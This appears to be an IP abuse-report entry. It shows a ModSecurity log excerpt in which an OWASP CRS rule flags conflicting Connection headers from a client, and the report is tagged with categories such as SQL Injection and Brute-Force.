[Sat Sep 05 20:55:57.308761 2026] [security2:error] [pid 944380:tid 944380] [client 43.160.219.138:35410] ModSecurity: Warning. Pattern match "\\\\b(?:keep-alive|close),\\\\s?(?:keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/modsecurity/crs/current/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "402"] [id "920210"] [msg "Multiple/Conflicting Connection Header Data Found"] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/4.27.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL-ENFORCEMENT"] [tag "capec/1000/210/272"] [hostname "www.robertomurillo.net"] [uri "/"] [unique_id "apzWPR3JJWQNSpd3dSoczAAAAAE"]
[Sat Sep 05 20:55:57.310733 2026] [security2:error] [pid 944380:tid 944380] [client 43.160.219.138:35410] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/modsecurity/crs/current/rules/RESPONSE-980-CORRELATION.conf"
...
show less
|
Web Spam
Hacking
SQL Injection
Brute-Force
Web App Attack
|